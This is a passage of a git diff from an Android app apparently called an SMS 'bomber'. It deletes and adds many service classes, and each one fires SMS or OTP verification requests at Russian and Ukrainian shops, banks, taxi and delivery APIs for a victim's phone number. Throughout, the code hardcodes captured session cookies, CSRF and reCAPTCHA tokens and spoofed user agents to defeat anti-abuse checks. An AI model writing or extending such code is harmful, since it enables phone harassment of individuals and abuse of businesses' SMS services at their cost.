/dev/null @@ -1,79 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import org.json.JSONArray; -import org.json.JSONException; -import org.json.JSONObject; - -import java.io.IOException; - -import okhttp3.Call; -import okhttp3.MediaType; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.RequestBody; -import okhttp3.Response; - -public class RabotaRu extends Service { - - @Override - public void run(OkHttpClient client, Callback callback) { - JSONObject json = new JSONObject(); - JSONObject request = new JSONObject(); - - try { - request.put("device_id", "b4703808bff93aec"); - request.put("google_id", ""); - request.put("is_new_user", false); - request.put("mobile_app_platform", "android"); - request.put("region_id", "3"); - request.put("user_agent", "Android 11"); - request.put("user_tags", new JSONArray()); - request.put("mobile_app_version", "4.33.7"); - request.put("yandex_id", ""); - - json.put("request", request); - } catch (JSONException e) { - e.printStackTrace(); - } - - client.newCall(new Request.Builder() - .url("https://api.rabota.ru/v4/settings.json") - .header("User-Agent", "Rabota/4.33.7 (ru.rabota.app2; build:2021043307; Android 11) okhttp/4.8.0") - .post(RequestBody.create(json.toString(), MediaType.parse("application/json"))) - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException { - try { - JSONObject json = new JSONObject(response.body().string()); - JSONObject request = new JSONObject(); - JSONObject body = new JSONObject(); - - request.put("is_during_response", false); - request.put("login", getFormattedPhone()); - - body.put("request", request); - body.put("user_tags", new JSONArray()); - body.put("rabota_ru_id", json - .getJSONObject("response") - .getString("rabota_ru_id")); - body.put("application_id", "10"); - - client.newCall(new Request.Builder() - .url("https://api.rabota.ru/v4/register.json") - .header("User-Agent", "Rabota/4.33.7 (ru.rabota.app2; build:2021043307; Android 11) okhttp/4.8.0") - .post(RequestBody.create(body.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } catch (JSONException | NullPointerException e) { - callback.onError(e); - } - } - }); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Robocredit.java b/app/src/main/java/com/dm/bomber/services/Robocredit.java deleted file mode 100644 index e9cb002..0000000 --- a/app/src/main/java/com/dm/bomber/services/Robocredit.java +++ /dev/null @@ -1,58 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Robocredit extends JsonService { - - public Robocredit() { - setUrl("https://robocredit.ru/api/v1/registration/code/send"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Accept", "application/json"); - builder.addHeader("Accept-Encoding", "gzip, deflate, br"); - builder.addHeader("Accept-Language", "ru,en-US;q=0.7,en;q=0.3"); - builder.addHeader("Authorization", "react_application_client"); - builder.addHeader("Connection", "keep-alive"); - builder.addHeader("Content-Length", "175"); - builder.addHeader("Content-Type", "application/json"); - builder.addHeader("Cookie", "XSRF-TOKEN=eyJpdiI6IkZDMFloNzZzRkhBRjhzSTVyaHFWQVE9PSIsInZhbHVlIjoieFNVY0drVGR2blB0UlZBVWY4QjNZSm5DZHdSdDM0WUxpUkZDeW8ydGlxSDdJcnZzYWxITzhCMmJqSlp3Wk5TMmtldEpwdG9NREkwcWdDcUFoRXZvUEEyT1NBL2VSUkRRdTQ1UlA4bkdhVE0xVlBSZW5qWGlPZU5hVUxlRHBjOU8iLCJtYWMiOiI2NDQ2M2VhZTRlMjJhYjg0OGY1ODA5MjVjMGRkNzJkMDQzMGQwZWNmNGIzMDBiZjJiYjdhOTljYzUyNTQ5ZTk3In0%3D; robocredit_session=eyJpdiI6InVyOExObXVjNkdZSFdRdW4zRU5LbWc9PSIsInZhbHVlIjoid0N5NFBYa1EzRW02NDdETlJmSG53eHdDZ1hRaVZLUDRUSUh6aVZmQ2JhSW8xK1NxTjhrd2dMbmtYSWV2OS8remlRNEhnVFlROWZhK2NGekJqcEdrSWJoY3NwNmFVcEpEbmJlWWc3NmRELzFHbW8vVk45K2VEUHRSdkFtem1tYTMiLCJtYWMiOiIxZTcwNTMxOGFkMmI1ZmZlOWNlOTc1Y2I3M2I3ZGUxMDVjZmM2MTVjODkwMzg3YmRlMDg3ZjY1ODgyNTEyNDRhIn0%3D; SERVERID=node01; __cfruid=88814902276cd09899db6bf2f44fdfe49ec80785-1628344822; tmr_reqNum=5; tmr_lvid=a9af81bd62954373fb30b1dbe5852790; tmr_lvidTS=1628344829462; tmr_detect=1%7C1628344829552; _ga=GA1.2.572378467.1628344830; _gid=GA1.2.1844127440.1628344830; _ym_uid=1628344830347478702; _ym_d=1628344830; ec_cache=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; ec_etag=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; __utma=231239964.572378467.1628344830.1628344831.1628344831.1; __utmb=231239964.0.10.1628344863231; __utmc=231239964; __utmz=231239964.1628344831.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ym_isad=1; supportOnlineTalkID=FzrLpzswSp3numy4EJfLVCoCkQJaZTF4; _fbp=fb.1.1628344831572.99578837; _ym_visorc=w; ec_png=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; ec_id=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4"); - builder.addHeader("Host", "robocredit.ru"); - builder.addHeader("Origin", "https://robocredit.ru"); - builder.addHeader("Referer", "https://robocredit.ru/registration/personal"); - builder.addHeader("Sec-Fetch-Dest", "empty"); - builder.addHeader("Sec-Fetch-Mode", "cors"); - builder.addHeader("Sec-Fetch-Site", "same-origin"); - builder.addHeader("TE", "trailers"); - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0"); - builder.addHeader("X-CSRF-TOKEN", "YufMbFkxmcj9sbFGo8MSy11ZLlSPXcQtLRFqjfoZ"); - builder.addHeader("X-Requested-With", "XMLHttpRequest"); - builder.addHeader("X-XSRF-TOKEN", "eyJpdiI6IkZDMFloNzZzRkhBRjhzSTVyaHFWQVE9PSIsInZhbHVlIjoieFNVY0drVGR2blB0UlZBVWY4QjNZSm5DZHdSdDM0WUxpUkZDeW8ydGlxSDdJcnZzYWxITzhCMmJqSlp3Wk5TMmtldEpwdG9NREkwcWdDcUFoRXZvUEEyT1NBL2VSUkRRdTQ1UlA4bkdhVE0xVlBSZW5qWGlPZU5hVUxlRHBjOU8iLCJtYWMiOiI2NDQ2M2VhZTRlMjJhYjg0OGY1ODA5MjVjMGRkNzJkMDQzMGQwZWNmNGIzMDBiZjJiYjdhOTljYzUyNTQ5ZTk3In0="); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", format(getFormattedPhone(), "+* (***) ***-****")); - json.put("email", getEmail()); - json.put("firstName", getRussianName()); - json.put("middleName", getRussianName()); - json.put("lastName", getRussianName()); - json.put("via", "sms"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/SberMobile.java b/app/src/main/java/com/dm/bomber/services/SberMobile.java deleted file mode 100644 index e81f3e0..0000000 --- a/app/src/main/java/com/dm/bomber/services/SberMobile.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class SberMobile extends JsonService { - - public SberMobile() { - setUrl("https://mobius.sberbank-tele.com/v2/api/gateway/send_password"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("number", phone); - json.put("type", "authorization"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/SberZvuk.java b/app/src/main/java/com/dm/bomber/services/SberZvuk.java deleted file mode 100644 index 68225ce..0000000 --- a/app/src/main/java/com/dm/bomber/services/SberZvuk.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class SberZvuk extends ParamsService { - - public SberZvuk() { - setUrl("https://zvuk.com/api/tiny/get-otp"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "OpenPlay|4.5.4|Android|11|Xiaomi M2010J19SY"); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", "+" + getFormattedPhone()); - builder.addQueryParameter("type", "login"); - builder.addQueryParameter("length", "10"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Services.java b/app/src/main/java/com/dm/bomber/services/Services.java index 0d5bcf4..858c821 100644 --- a/app/src/main/java/com/dm/bomber/services/Services.java +++ b/app/src/main/java/com/dm/bomber/services/Services.java @@ -12,7 +12,6 @@ import okhttp3.Call; import okhttp3.FormBody; -import okhttp3.Headers; import okhttp3.HttpUrl; import okhttp3.MediaType; import okhttp3.OkHttpClient; @@ -50,7 +49,7 @@ public static List getUsableServices(String countryCode) { new Uchiru(), new Biua(), new MdFashion(), new RiveGauche(), new XtraTV(), new AlloUa(), new Rulybka(), new Technopark(), new Call2Friends(), new Profi(), - new BeriZaryad(), new CardsMobile(), new Labirint(), new SberMobile(), new AutoRu(), new SatUa(), + new BeriZaryad(), new CardsMobile(), new Labirint(), new AutoRu(), new SatUa(), new Melzdrav(), new Fonbet(), new Grilnica(), new Soscredit(), new ChernovtsyRabota(), new Eva(), new Apteka(), new Kari(), @@ -62,45 +61,6 @@ public void buildParams(HttpUrl.Builder builder) { } }, - new Service() { - private final String url = "https://site-api.mcdonalds.ru/api/v1/user/login/phone"; - private final Headers headers = new Headers.Builder() - .add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0") - .build(); - - @Override - public void run(OkHttpClient client, Callback callback) { - client.newCall(new Request.Builder() - .url(url) - .headers(headers) - .method("OPTIONS", null) - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) { - JSONObject json = new JSONObject(); - - try { - json.put("number", "+" + getFormattedPhone()); - json.put("g-recaptcha-response", "03AGdBq24rQ30xdNbVMpOibIqu-cFMr5eQdEk5cghzJhxzYHbGRXKwwJbJx7HIBqh5scCXIqoSm403O5kv1DNSrh6EQhj_VKqgzZePMn7RJC3ndHE1u0AwdZjT3Wjta7ozISZ2bTBFMaaEFgyaYTVC3KwK8y5vvt5O3SSts4VOVDtBOPB9VSDz2G0b6lOdVGZ1jkUY5_D8MFnRotYclfk_bRanAqLZTVWj0JlRjDB2mc2jxRDm0nRKOlZoovM9eedLRHT4rW_v9uRFt34OF-2maqFsoPHUThLY3tuaZctr4qIa9JkfvfbVxE9IGhJ8P14BoBmq5ZsCpsnvH9VidrcMdDczYqvTa1FL5NbV9WX-gOEOudLhOK6_QxNfcAnoU3WA6jeP5KlYA-dy1YxrV32fCk9O063UZ-rP3mVzlK0kfXCK1atFsBgy2p4N7MlR77lDY9HybTWn5U9V"); - } catch (JSONException e) { - e.printStackTrace(); - } - - client.newCall(new Request.Builder() - .url(url) - .headers(headers) - .post(RequestBody.create(json.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } - }); - } - }, - new FormService("https://polza.diet/sessions", 7) { @Override public void buildBody(FormBody.Builder builder) { @@ -169,29 +129,6 @@ public void buildBody(FormBody.Builder builder) { } }, - new JsonService("https://api.petrovich.ru/api/rest/v1/user/pincode/reg?city_code=rf&client_id=pet_site") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0"); - builder.addHeader("Cookie", "SNK=124; u__typeDevice=desktop; geoQtyTryRedirect=1; u__geoUserChoose=1; qrator_msid=1638604580.330.8vox5jrGVn8JeE5a-f7j5tbrq8vdc6ae4kths8i52pi66kom8; u__geoCityGuid=d31cf195-2928-11e9-a76e-00259038e9f2; u__cityCode=rf; SIK=fAAAAHRZ8mRMMMkQ4zoJAA; SIV=1; C_o72-jqSdEZI2mxcQ9hjwCsP7WhI=AAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8D8AAIDJKZjpQfJVD28tnILC3BseM5mEUbQ; ssaid=afa34f20-54d7-11ec-9e2a-e50833b98526; dd__lastEventTimestamp=1638604588417; dd__persistedKeys=[%22custom.lastViewedProductImages%22]; dd_custom.lastViewedProductImages=[]; __tld__=null"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new JsonService("https://api.sunlight.net/v3/customers/authorization/") { @Override public String buildJson() { @@ -223,43 +160,6 @@ public String buildJson() { } }, - new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2", 7) { - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", getFormattedPhone()); - builder.add("bxsessid", "68eb9e074e9677e3a7a3b4620abdff29"); - builder.add("lid", "tr"); - } - }, - - new JsonService("https://ogon.ru/v1/users/auth") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("X-App-Name", "Site"); - builder.addHeader("X-App-Version", "1.0.341.2"); - builder.addHeader("X-Domain", "https://ogon.ru"); - builder.addHeader("X-Fingerprint", "f7b509dccd4c01019b3e5ca233a851bb"); - builder.addHeader("X-Pragma", "ReK6+msei8Y7ssRIkKmkrSJERsntCFHPAXmr2XnD4Zs="); - builder.addHeader("X-Support-SDK", "false"); - builder.addHeader("X-UUID", "3fc54ee8-149e-4677-bbb2-fe5b98912e79"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone_number", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new JsonService("https://cnt-vlmr-itv02.svc.iptv.rt.ru/api/v2/portal/send_sms_code") { @Override public Request buildRequest(Request.Builder builder) { @@ -316,23 +216,6 @@ public void onResponse(@NonNull Call call, @NonNull Response response) { } }, - new FormService("https://orteka.ru/bitrix/services/main/ajax.php?mode=class&c=orteka:auth.registration&action=confirmPhone", 7) { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "PHPSESSID=lakj7vcqijs9tpb3e2mstens6b; ABtestCart=261298; BITRIX_SM_SALE_UID=4daefd46dbc267e59b1bd566fe4c30e3; BITRIX_CONVERSION_CONTEXT_s1=%7B%22ID%22%3A2%2C%22EXPIRE%22%3A1640379540%2C%22UNIQUE%22%3A%5B%22conversion_visit_day%22%5D%7D; tracking=; ssaid=cf31d6b0-64de-11ec-9520-b133cea34249; __tld__=null; _userGUID=0:kxko2vjy:dwfdz3WqmnxkeyIxYM079_My9XvrFucY; k50uuid=4901ac77-8404-4bd9-9839-cc912ae34604; k50lastvisit=2be88ca4242c76e8253ac62474851065032d6833.da39a3ee5e6b4b0d3255bfef95601890afd80709.54b4f71d35b40b9bde5abe49d6744bc4caa2ebbf.da39a3ee5e6b4b0d3255bfef95601890afd80709.1640366867727; k50sid=fc9e4f6c-a04e-46d9-863b-dacfc75bc5a8; dSesn=4a23c994-2b9a-72ea-e365-5d13bc7b2bee; _dvs=0:kxko2vjy:gvnTKh7Lqf4~ZiAn1njx3nLEYrfRcrIE; __ar_v_id=0oDEExrKUIXsA0QGC-AWF3; __ar_d_id=e8ueNh1qpb8j3Tz3zo6k5Q; __ar_si=%7B%22t%22%3A%222021-12-24T17%3A27%3A49.295Z%22%2C%22c%22%3A1%2C%22p%22%3A%5B%5D%2C%22ct%22%3A%5B%5D%2C%22q%22%3A%22%22%7D"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("signedParameters", ""); - builder.add("query[phone]", format(phone, "+7 (***) ***-**-**")); - builder.add("SITE_ID", "s1"); - builder.add("sessid", "b4f37bbc68c502a6f442db031b3b65ea"); - } - }, - new Service(380) { @Override public void run(OkHttpClient client, Callback callback) { @@ -636,22 +519,6 @@ public void buildParams(HttpUrl.Builder builder) { } }, - new JsonService("https://vyksa.fitauto.ru/users.getsmscode.fn", 7) { - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", phone); - json.put("token", "QJB68LnzWeFWphIwFSNW0oEiqDmKKc8lJ8TbU7Wm"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new ParamsService("https://m.avtoall.ru/cart/order/api/phone", 7) { @Override public Request buildRequest(Request.Builder builder) { @@ -667,30 +534,6 @@ public void buildParams(HttpUrl.Builder builder) { } }, - new JsonService("https://dnipro-m.ua/phone-verification/") { - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-csrf-token", "2Ame-KM1DXP3ATTtBQ1ks-pj771B-P6hyQMiztAeYkLoZ8qOwGVDJJxScIY1PRDfnAWr9QSvie2cUXCNqlI9LA=="); - builder.addHeader("Cookie", "PHPSESSID=rshi0gctd3nsddcs58l865tu6q; session_hash=8d5affc2cad1a00ddfe8fa3f067e13b8; ab_1=2; logged_in_as=c38cdce2f7ef0094f910220849aee84a3613eb500f51202d492282b1d416cf91a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22logged_in_as%22%3Bi%3A1%3BN%3B%7D; manager_store=9f8a6a348bfddc4e1484e8c2b620e744a46020143d5011858217908bfa12f43ca%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22manager_store%22%3Bi%3A1%3BN%3B%7D; language=1f1c77ed088a525c9d9a3ee0075b68d6a50c75278eb07b95c9c6c8adf4633886a%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22ru%22%3B%7D; translations_pushed=92f83c1f3a434aeae744854c974cdb236df315cbe39e518ed7234b1ea9a0cd88a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22translations_pushed%22%3Bi%3A1%3Bi%3A1%3B%7D; _csrf-frontend=8ed0eca3dbc58c275be1804686501b2aa4c60f1f562d2e2098d3651b66a2af18a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%220nTvcPNWkSDk00tlvfDHEWwLURRCzL_n%22%3B%7D; _gcl_au=1.1.439638018.1644856370; _gid=GA1.2.162073021.1644856370; _dc_gtm_UA-87493814-1=1; sc=3E8EF674-EB02-A8ED-92DC-DA62D3B448B9; _fbp=fb.1.1644856370513.191414281; _hjSessionUser_1116764=eyJpZCI6IjExMzBlN2U4LWFhODAtNTRlZi1iODY2LWIyMDgzMWViNjVmOCIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExMjUsImV4aXN0aW5nIjpmYWxzZX0=; _hjFirstSeen=1; _hjIncludedInSessionSample=0; _hjSession_1116764=eyJpZCI6ImZjYzMyNmRhLTNkZTUtNGM1ZC1iMTE2LTVjNjNhN2JlNmQ5MSIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExNTYsImluU2FtcGxlIjpmYWxzZX0=; _hjIncludedInPageviewSample=1; _hjAbsoluteSessionInProgress=0; _ga_1QMTESJ6M0=GS1.1.1644856371.1.0.1644856371.60; _ga=GA1.2.683370447.1644856370; _gat_UA-87493814-1=1; csfp=47a8c34d1a498bd8daee7742cb48c821"); - builder.addHeader("x-requested-with", "XMLHttpRequest"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } - }, - new JsonService("https://api.raketaapp.com/v1/auth/otps?ngsw-bypass=true") { @Override public String buildJson() { @@ -739,7 +582,7 @@ public String buildJson() { } }, - new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D") { + new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D", 7) { @Override public void buildBody(FormBody.Builder builder) { builder.add("_csrf", "kxA-oV0mlFWdBCIB7ILw3rimGOLKolF08U3T-xRAHODhR27nE3LDANN1Flmt27uT7tZVpqHsJhCmAJ-OLAMurw=="); @@ -785,5 +628,254 @@ public void run(OkHttpClient client, Callback callback) { .build()).enqueue(callback); } }, + + new FormService("https://www.proficosmetics.ru/bitrix/services/main/ajax.php?mode=ajax&c=krasivoereshenie%3Auser.auth&action=registrationPhone", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("phone", format(phone, "+7 (***) *** ** **")); + builder.add("SITE_ID", "s1"); + builder.add("sessid", "36fe01e7abb0ece7340aadfaed7363f3"); + } + }, + + new JsonService("https://www.585zolotoy.ru/api/sms/send_code/", 7) { + @Override + public String buildJson() { + JSONObject body = new JSONObject(); + + try { + body.put("phone", getFormattedPhone()); + } catch (JSONException e) { + e.printStackTrace(); + } + + return body.toString(); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.header("cookie", "auth.strategy=local; zolotoy_region=a93acc32-8ed4-48ed-b105-abd0eb856021; cart=%5B%5D; tmr_lvid=0e8918021767e8431f23fa2fe35746f2; tmr_lvidTS=1648231746822; tmr_reqNum=3; _ym_uid=1648231747833371635; _ym_d=1648231747; _ym_isad=2; _ym_visorc=w; _fbp=fb.1.1648231747318.1464872086; tmr_detect=0%7C1648231749515"); + builder.header("x-qa-client-type", "web"); + builder.header("x-qa-company", "3e6efe10-defd-4983-94a1-c5a4d3cb3689"); + builder.header("x-qa-region", "a93acc32-8ed4-48ed-b105-abd0eb856021"); + + return super.buildRequest(builder); + } + }, + + new FormService("https://superpizzaplus.ru/sms/send/", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("phone", format(phone, "+7 (***) ***-**-**")); + } + }, + + new Service(7) { + @Override + public void run(OkHttpClient client, Callback callback) { + client.newCall(new Request.Builder() + .url("https://www.ddpizza.ru/local/ajax/register_code.php") + .post(RequestBody.create("------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" + + "Content-Disposition: form-data; name=\"sessid\"\n" + + "\n" + + "5bd7212ba192e8d2b80ba99f98b108e4\n" + + "------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" + + "Content-Disposition: form-data; name=\"NAME\"\n" + + "\n" + + getRussianName() + + "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" + + "Content-Disposition: form-data; name=\"PERSONAL_PHONE\"\n" + + "\n" + + format(phone, "+7 (***) ***-**-**") + + "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" + + "Content-Disposition: form-data; name=\"MAIL\"\n" + + "\n" + + getEmail() + + "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA--", + MediaType.parse("multipart/form-data; boundary=----WebKitFormBoundaryi0rC4HVk4ofOLSUA"))) + .build()).enqueue(callback); + } + }, + + new FormService("https://luckycosmetics.ru/index.php?route=module/smsverification/generate", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("phone", format(phone, "+7 (***) ***-**-**")); + builder.add("registered", "0"); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "PHPSESSID=43jda9rgnctmidr9s4skhdskr1; _lucky_ident=7cc59b449f01cc6473162f381817b842; _lucky_uid=19717157; _ga=GA1.2.440536502.1648574015; _gid=GA1.2.1766371184.1648574015; _gat=1; tmr_lvid=0db3fa1830a9673dcd291c816c94ff21; tmr_lvidTS=1648574015329; tmr_reqNum=3; _dc_gtm_UA-15256516-4=1; _fbp=fb.1.1648574015618.1527744418; _ym_uid=1648574016350694378; _ym_d=1648574016; _ym_isad=2; _ym_visorc=w; cto_bundle=Faosxl9EVnp3eW1hc29CWDhuNE95TmFkajFYNENVeVd0cndaeGdzaHR4OUFjNFhwNnVMSEhPcUF6bzc4WDNIUkxTeDc5dGRXMVZsSUZSTCUyRjRvMkp3TVF2MGROdVpCVDVnYk5MT2V6VThNVHQ2dHVSOE5aZlg5RkxGeVFKTnBjN2JaWE02bWN5YUplcUV5azlCYkIwYWZLcCUyQlNRJTNEJTNE; tmr_detect=0%7C1648574018130; language=ru; currency=RUB; banner_view=s1; banner_time=1648575819940"); + builder.addHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.550"); + return super.buildRequest(builder); + } + }, + + new FormService("https://www.kristall-shop.ru/ajaxer.php?x=personal", 7) { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("action", "sms_send"); + builder.add("phone", format(phone, "+7 (***) ***-**-**")); + builder.add("csrf_token", "bf365b62acb4b358b42e38d45f060acf"); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "PHPSESSID=ksstkdlpk2qo7dgtcfjo6hup01; user_source=direct; user_id=24faa4ade96af13b1351fa01cd5b5a7b; user_type=client; city=1; _ga=GA1.2.2017371052.1648576559; _gid=GA1.2.1857337036.1648576559; _ym_uid=164857656046395673; _ym_d=1648576560; tmr_lvid=e8ab35ae3db9b36f8a001f6d153c8e62; tmr_lvidTS=1648576559651; _ym_isad=2; _ym_visorc=w; _lhtm_u=62432d0084bf4d7c0811aef7; _lhtm_r=direct|5fc5f2e04b0c685e1823b1e5; _fbp=fb.1.1648576560720.54969929; _ym_mailid=e9f2c96e4185b4e8fc4f10ce4b193ced; _gucid=fc4f10ce4b193cede9f2c96e4185b4e8; viewed_pages=2; cto_bundle=1gbT3193bGp5bXhncEU3NjJKQVlQcFp5VlZ0R1hKOEVmYURRaXowaWRjQ3NyMm9YWCUyRmVTQWV1YjNHREVPaEc4SmN5c3FtTmk3YjU5cmZMYmpuOGRvRFBXM3gwTzZ1cktnJTJGOXJ4RlM3eUk5dTNDWXBGRmglMkZLSVZvNTdYcnAlMkJOQjU5Tko1ekNXOVVOQkxhcVczdXNMV1I0WjNUUSUzRCUzRA; lh_widget_system_pages_counter=1; tmr_detect=0%7C1648576565533; tmr_reqNum=7"); + + return super.buildRequest(builder); + } + }, + + new FormService("https://www.freak-butik.ru//class/ajax/client.php") { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("command", "getsmscode"); + builder.add("phone", getFormattedPhone()); + } + }, + + new FormService("https://www.shoppinglive.ru/phone-verification/send-code") { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("mobilePhone", phone); + builder.add("CSRFToken", "18bf5372-4e8f-4c40-b237-a1ea07c41413"); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "JSESSIONID=900CE92657D631AB408E439D9AAC572F.accstorefront-7c7746598b-nww96; anonymous-consents=%5B%5D; abtc=84BCE317637B64F7A6164857734642551106; abtc-text-button_2=default_text; abtc-story-test_5=story_exist; abtc-checkout-button_2=active_button; abtc-crm-test_0=default_crm; exp_id=default_text/story_exist/active_button/default_crm; cookie-notification=NOT_ACCEPTED; ROUTE=.accstorefront-7c7746598b-nww96; AKA_A2=A; akaas_sn_www_shoppinglive_ru=2147483647~rv=66~id=f9202e7b2e9c827369633985376f5a40~rn=Traffic%20Shift%20RU%20clone%201; RT=\"z=1&dm=shoppinglive.ru&si=1g0wsxymb27&ss=l1cgdymi&sl=0&tt=0\"; flocktory-uuid=d0d24a9e-0aa2-4161-9006-0e69da2a98d5-9; ssaid=58c7d950-af8b-11ec-b126-c993c2c22298; __tld__=null; _ga=GA1.2.1376708877.1648577357; _gid=GA1.2.83689607.1648577357; _gat_ddl=1; tmr_lvid=df86e93f60ef56b5b2563fddae9af54d; tmr_lvidTS=1648577357069; _gat_UA-25432719-1=1; _gcl_au=1.1.625582745.1648577357; advcake_trackid=de0c23dc-4413-8d20-1f5f-ca72e25463d2; advcake_session_id=a6f0e701-46ff-aabf-5979-561fc153bb0f; rrpvid=27373519974644; _fbp=fb.1.1648577357656.174608709; rcuid=61fc0f0fd6d3b0000109d97d; cto_bundle=F2AxU180WDk0akklMkJjaUdqWXFiMHVPMWp4anYxbTZURnduY1Z4MHN3Z2ZDM0k4Nkx5Vkw5Yk5YaHMwS2U2MkhyN1lodmVDZ3VBa2c0Y3pSNlpQREhlckJPSzh1Q212JTJCQ3ZCeTFHNlQlMkY0Q1V0a2J2cWtrNVlDMSUyQmZrR29uS2wwcU5HWHhCZGolMkJXJTJCNnQlMkJPdHdseCUyQld4blVRYVp3JTNEJTNE; tmr_reqNum=2; _ubtcuid=cl1cge70e00003patej2a9krw; _sp_ses.5ac9=*; _sp_id.5ac9=baec6278-4c03-4bc9-8de0-d595c834b54a.1648577360.1.1648577360.1648577360.0c9a7a88-cc1c-4495-bb96-ccbbc12eae45; tmr_detect=0%7C1648577366537; _gali=login-phone-form"); + + return super.buildRequest(builder); + } + }, + + new JsonService("https://saratov.kolesa-darom.ru/ajax/user/register") { + @Override + public String buildJson() { + JSONObject body = new JSONObject(); + + try { + body.put("phoneNumber", getFormattedPhone()); + body.put("approveRule", true); + body.put("step", new JSONObject() + .put("requestCode", "requestCode")); + } catch (JSONException e) { 